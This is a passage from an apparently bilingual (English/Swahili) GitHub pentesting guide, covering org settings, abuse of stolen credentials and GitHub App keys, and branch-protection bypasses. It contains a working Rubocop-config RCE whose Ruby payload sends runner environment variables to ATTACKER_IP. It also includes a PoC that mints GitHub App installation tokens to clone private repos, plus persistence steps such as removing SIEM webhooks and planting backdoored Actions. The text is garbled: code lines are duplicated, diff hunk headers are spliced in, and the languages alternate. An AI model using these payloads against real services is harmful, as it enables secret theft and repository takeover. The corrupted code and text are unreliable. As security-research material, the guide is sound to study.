- **Maombi ya ufikiaji wa ushirikiano**: Kwa hili kuwezeshwa washirikiano wa nje wataweza kuomba ufikiaji wa GitHub au programu za OAuth kufikia shirika hili na rasilimali zake. Kwa kawaida inahitajika, lakini ikiwa si hivyo, ni bora kuizima.
- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
- **Mabadiliko ya mwonekano wa repo**: Ikiwa imewezeshwa, **wanachama** wenye ruhusa **za admin** kwa **repo** wataweza **kubadilisha mwonekano wake**. Ikiwa imezimwa, ni wamiliki wa shirika pekee wanaoweza kubadilisha mwonekano wa repos. Ikiwa **hutaki** watu kufanya mambo **ya umma**, hakikisha hii ime **zimwa**.
- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
- **Futio na uhamisho wa repo**: Ikiwa imewezeshwa, wanachama wenye ruhusa **za admin** kwa repo wataweza **kufuta** au **kuhamasisha** **repos za umma na binafsi.**
- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
- **Ruhusu wanachama kuunda timu**: Ikiwa imewezeshwa, **mwanachama** yeyote wa shirika ataweza **kuunda** timu mpya. Ikiwa imezimwa, ni wamiliki wa shirika pekee wanaweza kuunda timu mpya. Ni bora kuwa na hii imezimwa.
- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_
- **Mambo mengine yanaweza kuwekewa mipangilio** katika ukurasa huu lakini yale yaliyotangulia ndiyo yanayohusiana zaidi na usalama.
### Actions Settings
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
Mipangilio kadhaa inayohusiana na usalama inaweza kuwekwa kwa ajili ya hatua kutoka kwenye ukurasa `https://github.com/organizations/<org_name>/settings/actions`.
> [!NOTE]
> Note that all this configurations can also be set on each repository independently
> Kumbuka kwamba mipangilio hii yote inaweza pia kuwekwa kwenye kila repo kwa kujitegemea
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
- _I couldn't find an API with this info, share if you do_
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
- _I couldn't find an API with this info, share if you do_
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
- **Sera za hatua za Github**: Inaruhusu kuashiria ni repos gani zinaweza kuendesha workflows na ni workflows zipi zinapaswa kuruhusiwa. Inapendekezwa **kubainisha ni repos gani** zinapaswa kuruhusiwa na si kuruhusu hatua zote kuendesha.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Kuvuta workflows za ombi la kuvuta kutoka kwa washirikiano wa nje**: Inapendekezwa **kuhitaji idhini kwa wote** washirikiano wa nje.
- _Sijapata API yenye taarifa hii, shiriki ikiwa unayo_
- **Kendesha workflows kutoka kwa ombi la kuvuta**: Inashauriwa **kutoendesha workflows kutoka kwa ombi la kuvuta** kwani wasimamizi wa chanzo cha kuvuta watapewa uwezo wa kutumia tokens zenye ruhusa za kusoma kwenye repo ya chanzo.
- _Sijapata API yenye taarifa hii, shiriki ikiwa unayo_
- **Ruhusa za workflow**: Inashauriwa sana **kutoa ruhusa za kusoma tu kwa repo**. Inashauriwa kutopeana ruhusa za kuandika na kuunda/kubali ombi la kuvuta ili kuepuka matumizi mabaya ya GITHUB_TOKEN inayotolewa kwa workflows zinazoendesha.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integrations
_Let me know if you know the API endpoint to access this info!_
_Nnijulishe ikiwa unajua kiunganishi cha API kufikia taarifa hii!_
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
- **Sera ya ufikiaji wa programu za wahusika wengine**: Inapendekezwa kupunguza ufikiaji kwa kila programu na kuruhusu tu zile zinazohitajika (baada ya kuzitathmini).
- **Programu za GitHub zilizowekwa**: Inapendekezwa kuruhusu tu zile zinazohitajika (baada ya kuzitathmini).
## Recon & Attacks abusing credentials
For this scenario we are going to suppose that you have obtained some access to a github account.
Kwa hali hii tutadhani kwamba umepata ufikiaji wa akaunti ya github.
### With User Credentials
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
Ikiwa kwa namna fulani tayari una ruhusa za mtumiaji ndani ya shirika unaweza **kuingia tu** na kuangalia ni **majukumu gani ya biashara na shirika ulionayo**, ikiwa wewe ni mwanachama wa kawaida, angalia ni **ruhusa zipi wanachama wa kawaida wanazo**, katika **makundi** gani ulipo, ni **ruhusa zipi ulizonazo** juu ya **repos**, na **jinsi repos zinavyolindwa.**
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
Kumbuka kwamba **2FA inaweza kutumika** hivyo utaweza kufikia taarifa hii tu ikiwa unaweza pia **kupita ukaguzi huo**.
> [!NOTE]
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
> Kumbuka kwamba ikiwa **utafanikiwa kuiba cookie ya `user_session`** (sasa imewekwa na SameSite: Lax) unaweza **kujifanya kuwa mtumiaji** bila kuhitaji ruhusa au 2FA.
Check the section below about [**branch protections bypasses**](#branch-protection-bypass) in case it's useful.
Angalia sehemu iliyo chini kuhusu [**kuondoa ulinzi wa matawi**](#branch-protection-bypass) ikiwa itakuwa na manufaa.
### With User SSH Key
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
Github inaruhusu **watumiaji** kuweka **SSH keys** ambazo zitatumika kama **njia ya uthibitisho wa kupeleka msimbo** kwa niaba yao (hakuna 2FA inatumika).
Kwa funguo hii unaweza kufanya **mabadiliko katika repos ambapo mtumiaji ana baadhi ya ruhusa**, hata hivyo huwezi kuitumia kufikia api ya github ili kuorodhesha mazingira. Hata hivyo, unaweza kupata **kuorodhesha mipangilio ya ndani** ili kupata taarifa kuhusu repos na mtumiaji ulionao ufikiaji:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
Ikiwa mtumiaji ameweka jina lake la mtumiaji kama jina lake la github unaweza kufikia **funguo za umma alizoweka** katika akaunti yake kwenye _https://github.com/\<github_username>.keys_, unaweza kuangalia hili kuthibitisha kuwa funguo binafsi ulizozipata zinaweza kutumika.
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
**Funguo za SSH** pia zinaweza kuwekwa katika hifadhi kama **funguo za kutekeleza**. Mtu yeyote mwenye ufikiaji wa funguo hii ataweza **kuanzisha miradi kutoka kwenye hifadhi**. Kawaida katika seva yenye funguo tofauti za kutekeleza, faili ya ndani **`~/.ssh/config`** itakupa taarifa kuhusu funguo inayohusiana.
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
#### Funguo za GPG
#### GPG Keys
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
Check locally if the current user has any key with:
Kama ilivyoelezwa [**hapa**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) wakati mwingine inahitajika kusaini commits au unaweza kugunduliwa.
Angalia kwa ndani ikiwa mtumiaji wa sasa ana funguo yoyote kwa:
```shell
gpg --list-secret-keys --keyid-format=long
```
### Kwa Token ya Mtumiaji
### With User Token
Kwa utangulizi kuhusu [**Token za Mtumiaji angalia taarifa za msingi**](basic-github-information.md#personal-access-tokens).
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
Token ya mtumiaji inaweza kutumika **badala ya nenosiri** kwa Git kupitia HTTPS, au inaweza kutumika [**kujiandikisha kwenye API kupitia Uthibitishaji wa Msingi**](https://docs.github.com/v3/auth/#basic-authentication). Kulingana na mamlaka iliyounganishwa nayo unaweza kuwa na uwezo wa kufanya vitendo tofauti.
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
Token ya Mtumiaji inaonekana kama hii: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
### Kwa Programu ya Oauth
### With Oauth Application
Kwa utangulizi kuhusu [**Programu za Oauth za Github angalia taarifa za msingi**](basic-github-information.md#oauth-applications).
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
Mshambuliaji anaweza kuunda **Programu ya Oauth yenye uharibifu** ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi.
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
Hizi ni [mipaka ambayo programu ya Oauth inaweza kuomba](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Kila wakati inapaswa kuangalia mipaka inayohitajika kabla ya kuzikubali.
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, **mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu** kwa taarifa/repos/matendo yanayohusiana na shirika.
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
### Kwa Programu ya Github
### With Github Application
Kwa utangulizi kuhusu [**Programu za Github angalia taarifa za msingi**](basic-github-information.md#github-applications).
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
Mshambuliaji anaweza kuunda **Programu ya Github yenye uharibifu** ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi.
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, **mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu** kwa taarifa/repos/matendo yanayohusiana na shirika.
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
#### Kuiga Programu ya GitHub kwa kutumia funguo yake ya faragha (JWT → token za ufikiaji wa usakinishaji)
#### Impersonate a GitHub App with its private key (JWT → installation access tokens)
Ikiwa unapata funguo ya faragha (PEM) ya Programu ya GitHub, unaweza kuiga kikamilifu programu hiyo katika usakinishaji wake wote:
If you obtain the private key (PEM) of a GitHub App, you can fully impersonate the app across all of its installations:
- Tengeneza JWT ya muda mfupi iliyosainiwa kwa funguo ya faragha
- Piga simu kwa API ya REST ya Programu ya GitHub ili kuorodhesha usakinishaji
- Tengeneza token za ufikiaji za kila usakinishaji na uzitumie kuorodhesha/kukloni/kusukuma kwenye hifadhi zilizotolewa kwa usakinishaji huo
- Generate a shortlived JWT signed with the private key
- Call the GitHub App REST API to enumerate installations
- Mint perinstallation access tokens and use them to list/clone/push to repositories granted to that installation
Requirements:
- GitHub App private key (PEM)
- GitHub App ID (numeric). GitHub requires iss to be the App ID
Create JWT (RS256):
Mahitaji:
- Funguo ya faragha ya Programu ya GitHub (PEM)
- Kitambulisho cha Programu ya GitHub (nambari). GitHub inahitaji iss kuwa Kitambulisho cha Programu
Tengeneza JWT (RS256):
```python
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
List installations for the authenticated app:
Orodha ya usakinishaji kwa programu iliyothibitishwa:
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
Create an installation access token (valid ≤ 10 minutes):
Unda token ya ufikiaji wa usakinishaji (inayotumika ≤ dakika 10):
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
Use the token to access code. You can clone or push using the xaccesstoken URL form:
Tumia token kupata msimbo. Unaweza kunakili au kusukuma ukitumia fomu ya URL ya xaccesstoken:
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
Programmatic PoC to target a specific org and list private repos (PyGithub + PyJWT):
Programmatic PoC ya kulenga shirika maalum na kuorodhesha repos za faragha (PyGithub + PyJWT):
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
@@ -253,57 +240,53 @@ print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
Notes:
- Installation tokens inherit exactly the apps repositorylevel permissions (for example, contents: write, pull_requests: write)
- Tokens expire in ≤10 minutes, but new tokens can be minted indefinitely as long as you retain the private key
- You can also enumerate installations via the REST API (GET /app/installations) using the JWT
- Token za usakinishaji zinapata ruhusa za kiwango cha hifadhi ya programu (kwa mfano, contents: write, pull_requests: write)
- Token zinaisha muda katika ≤10 dakika, lakini token mpya zinaweza kutengenezwa bila kikomo mradi tu uhifadhi funguo binafsi
- Unaweza pia kuhesabu usakinishaji kupitia REST API (GET /app/installations) ukitumia JWT
## Compromise & Abuse Github Action
## Kuathiri & Kutumia Github Action
There are several techniques to compromise and abuse a Github Action, check them here:
Kuna mbinu kadhaa za kuathiri na kutumia Github Action, angalia hapa:
{{#ref}}
abusing-github-actions/
{{#endref}}
## Abusing thirdparty GitHub Apps running external tools (Rubocop extension RCE)
## Kutumia Apps za GitHub za upande wa tatu zinazotumia zana za nje (Rubocop extension RCE)
Some GitHub Apps and PR review services execute external linters/SAST against pull requests using repositorycontrolled configuration files. If a supported tool allows dynamic code loading, a PR can achieve RCE on the services runner.
Baadhi ya Apps za GitHub na huduma za ukaguzi wa PR zinaendesha linters/SAST za nje dhidi ya ombi za kuvuta zikitumika faili za usanidi zinazodhibitiwa na hifadhi. Ikiwa zana inayoungwa mkono inaruhusu upakiaji wa msimbo wa kidinari, PR inaweza kufikia RCE kwenye mkimbiaji wa huduma.
Example: Rubocop supports loading extensions from its YAML config. If the service passes through a repoprovided .rubocop.yml, you can execute arbitrary Ruby by requiring a local file.
Mfano: Rubocop inasaidia upakiaji wa nyongeza kutoka kwa usanidi wake wa YAML. Ikiwa huduma inapitisha .rubocop.yml iliyotolewa na hifadhi, unaweza kutekeleza Ruby isiyo na mipaka kwa kuhitaji faili ya ndani.
- Trigger conditions usually include:
- The tool is enabled in the service
- The PR contains files the tool recognizes (for Rubocop: .rb)
- The repo contains the tools config file (Rubocop searches for .rubocop.yml anywhere)
- Masharti ya kuchochea kwa kawaida yanajumuisha:
- Zana imewezeshwa katika huduma
- PR ina faili ambazo zana inazitambua (kwa Rubocop: .rb)
- Hifadhi ina faili ya usanidi wa zana (Rubocop inatafuta .rubocop.yml popote)
Exploit files in the PR:
Faili za kutumia katika PR:
.rubocop.yml
```yaml
require:
- ./ext.rb
- ./ext.rb
```
ext.rb (exfiltrate runner env vars):
ext.rb (kuondoa muktadha wa mazingira ya mkimbiaji):
```ruby
require 'net/http'
require 'uri'
@@ -314,99 +297,92 @@ json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
warn e.message
end
```
Pia jumuisha faili kubwa la dummy la Ruby (mfano, main.rb) ili linter ifanye kazi.
Also include a sufficiently large dummy Ruby file (e.g., main.rb) so the linter actually runs.
Athari zilizoshuhudiwa katika ulimwengu halisi:
- Utekelezaji kamili wa msimbo kwenye mchakato wa uzalishaji ulioendesha linter
- Uhamasishaji wa mazingira nyeti, ikiwa ni pamoja na funguo za kibinafsi za GitHub App zinazotumiwa na huduma, funguo za API, akreditif za DB, n.k.
- Kwa funguo za kibinafsi za GitHub App zilizovuja unaweza kutengeneza alama za usakinishaji na kupata ufikiaji wa kusoma/kandika kwenye hifadhi zote zilizotolewa kwa programu hiyo (tazama sehemu iliyo juu kuhusu uigaji wa GitHub App)
Impact observed in the wild:
- Full code execution on the production runner that executed the linter
- Exfiltration of sensitive environment variables, including the GitHub App private key used by the service, API keys, DB credentials, etc.
- With a leaked GitHub App private key you can mint installation tokens and get read/write access to all repositories granted to that app (see the section above on GitHub App impersonation)
Miongozo ya kuimarisha huduma zinazokimbia zana za nje:
- Chukulia mipangilio ya zana zinazotolewa na hifadhi kama msimbo usioaminika
- Tekeleza zana katika maeneo yaliyotengwa kwa karibu bila mazingira nyeti yaliyowekwa
- Tumia akreditif za chini ya uwezo na kutengwa kwa mfumo wa faili, na kuzuia/kukataa mtandao wa nje kwa zana ambazo hazihitaji ufikiaji wa intaneti
Hardening guidelines for services running external tools:
- Treat repositoryprovided tool configs as untrusted code
- Execute tools in tightly isolated sandboxes with no sensitive environment variables mounted
- Apply leastprivilege credentials and filesystem isolation, and restrict/deny outbound network egress for tools that dont require internet access
## Bypass ya Ulinzi wa Tawi
## Branch Protection Bypass
- **Hitaji idadi ya idhini**: Ikiwa umevamia akaunti kadhaa unaweza kukubali PR zako kutoka kwa akaunti nyingine. Ikiwa una akaunti tu kutoka ambapo ulitengeneza PR huwezi kukubali PR yako mwenyewe. Hata hivyo, ikiwa una ufikiaji wa mazingira ya **Github Action** ndani ya hifadhi, ukitumia **GITHUB_TOKEN** unaweza **kukubali PR yako** na kupata idhini 1 kwa njia hii.
- _Kumbuka kwa hili na kwa kikomo cha Wamiliki wa Msimbo kwamba kwa kawaida mtumiaji hatakuwa na uwezo wa kukubali PR zake mwenyewe, lakini ikiwa una uwezo, unaweza kuitumia kukubali PR zako._
- **Futa idhini wakati mabadiliko mapya yanaposhughulikiwa**: Ikiwa hii haijakamilishwa, unaweza kuwasilisha msimbo halali, kusubiri hadi mtu akubali, na kuweka msimbo mbaya na kuunganisha kwenye tawi lililolindwa.
- **Hitaji mapitio kutoka kwa Wamiliki wa Msimbo**: Ikiwa hii imewezeshwa na wewe ni Mmiliki wa Msimbo, unaweza kufanya **Github Action kuunda PR yako na kisha kuikubali mwenyewe**.
- Wakati **faili ya CODEOWNER imewekwa vibaya** Github haisemi chochote lakini haitatumia. Kwa hivyo, ikiwa imewekwa vibaya **ulinzi wa Wamiliki wa Msimbo hauwezi kutumika.**
- **Ruhusu wahusika waliotajwa kupita mahitaji ya ombi la kuvuta**: Ikiwa wewe ni mmoja wa wahusika hawa unaweza kupita ulinzi wa ombi la kuvuta.
- **Jumuisha wasimamizi**: Ikiwa hii haijakamilishwa na wewe ni msimamizi wa hifadhi, unaweza kupita ulinzi huu wa tawi.
- **PR Hijacking**: Unaweza kuwa na uwezo wa **kubadilisha PR ya mtu mwingine** kwa kuongeza msimbo mbaya, ukikubali PR inayotokana na hiyo mwenyewe na kuunganisha kila kitu.
- **Kuondoa Ulinzi wa Tawi**: Ikiwa wewe ni **msimamizi wa hifadhi unaweza kuzima ulinzi**, kuunganisha PR yako na kuweka ulinzi tena.
- **Kupita ulinzi wa kusukuma**: Ikiwa hifadhi **inaruhusu watumiaji fulani tu** kutuma kusukuma (kuunganisha msimbo) katika matawi (ulinzi wa tawi unaweza kulinda matawi yote kwa kutaja wildcard `*`).
- Ikiwa una **ufikiaji wa kuandika kwenye hifadhi lakini hujapewa ruhusa ya kusukuma msimbo** kwa sababu ya ulinzi wa tawi, bado unaweza **kuunda tawi jipya** na ndani yake kuunda **github action inayozinduliwa wakati msimbo unaposukumwa**. Kwa kuwa **ulinzi wa tawi hautalinda tawi hadi liundwe**, kusukuma kwa msimbo huu wa kwanza kwenye tawi litafanya **github action ifanye kazi**.
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
- **Dismiss approvals when new commits are pushed**: If this isnt set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
- **Include administrators**: If this isnt set and you are admin of the repo, you can bypass this branch protections.
- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
## Kupita Ulinzi wa Mazingira
## Bypass Environments Protections
Kwa utangulizi kuhusu [**Github Environment angalia taarifa za msingi**](basic-github-information.md#git-environments).
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
Ikiwa mazingira yanaweza **kupatikana kutoka matawi yote**, **hayalindwi** na unaweza kwa urahisi kufikia siri ndani ya mazingira. Kumbuka kwamba unaweza kupata hifadhi ambapo **matawi yote yanalindwa** (kwa kutaja majina yake au kwa kutumia `*`) katika hali hiyo, **tafuta tawi ambapo unaweza kusukuma msimbo** na unaweza **kuhamasisha** siri kwa kuunda github action mpya (au kubadilisha moja).
Kumbuka, kwamba unaweza kupata kesi ya mwisho ambapo **matawi yote yanalindwa** (kupitia wildcard `*`) imeelezwa **nani anaweza kusukuma msimbo kwenye matawi** (_unaweza kueleza hiyo katika ulinzi wa tawi_) na **mtumiaji wako hajaidhinishwa**. Bado unaweza kuendesha github action maalum kwa sababu unaweza kuunda tawi na kutumia kichocheo cha kusukuma juu yake mwenyewe. **Ulinzi wa tawi unaruhusu kusukuma kwenye tawi jipya hivyo github action itazinduliwa**.
```yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
Kumbuka kwamba **baada ya kuunda** tawi, **ulinzi wa tawi utaweza kutumika kwa tawi jipya** na huwezi kubadilisha, lakini kwa wakati huo tayari utakuwa umepata siri.
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
## Uendelevu
## Persistence
- Tengeneza **token ya mtumiaji**
- Nyakua **token za github** kutoka **siri**
- **Kuondoa** **matokeo** ya workflow na **matawi**
- Toa **idhini zaidi kwa shirika lote**
- Unda **webhooks** za kuhamasisha taarifa
- Karibisha **washirikishi wa nje**
- **Ondoa** **webhooks** zinazotumiwa na **SIEM**
- Unda/badilisha **Github Action** yenye **backdoor**
- Pata **Github Action iliyo hatarini kwa kuingilia amri** kupitia **mabadiliko ya** thamani ya **siri**
- Generate **user token**
- Steal **github tokens** from **secrets**
- **Deletion** of workflow **results** and **branches**
- Give **more permissions to all the org**
- Create **webhooks** to exfiltrate information
- Invite **outside collaborators**
- **Remove** **webhooks** used by the **SIEM**
- Create/modify **Github Action** with a **backdoor**
- Find **vulnerable Github Action to command injection** via **secret** value modification
### Imposter Commits - Backdoor kupitia commits za repo
### Imposter Commits - Backdoor via repo commits
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
Katika Github inawezekana **kuunda PR kwa repo kutoka kwa fork**. Hata kama PR **haikubaliwi**, **commit** id ndani ya repo asilia itaundwa kwa toleo la fork la msimbo. Hivyo, mshambuliaji **anaweza kuamua kutumia commit maalum kutoka kwa repo inayonekana kuwa halali ambayo haikuundwa na mmiliki wa repo**.
Kama [**hii**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
```
Kwa maelezo zaidi angalia [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
## Marejeo
## References
- [How we exploited CodeRabbit: from a simple PR to RCE and write access on 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Jinsi tulivyotumia CodeRabbit: kutoka PR rahisi hadi RCE na ufikiaji wa kuandika kwenye hifadhidata 1M](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
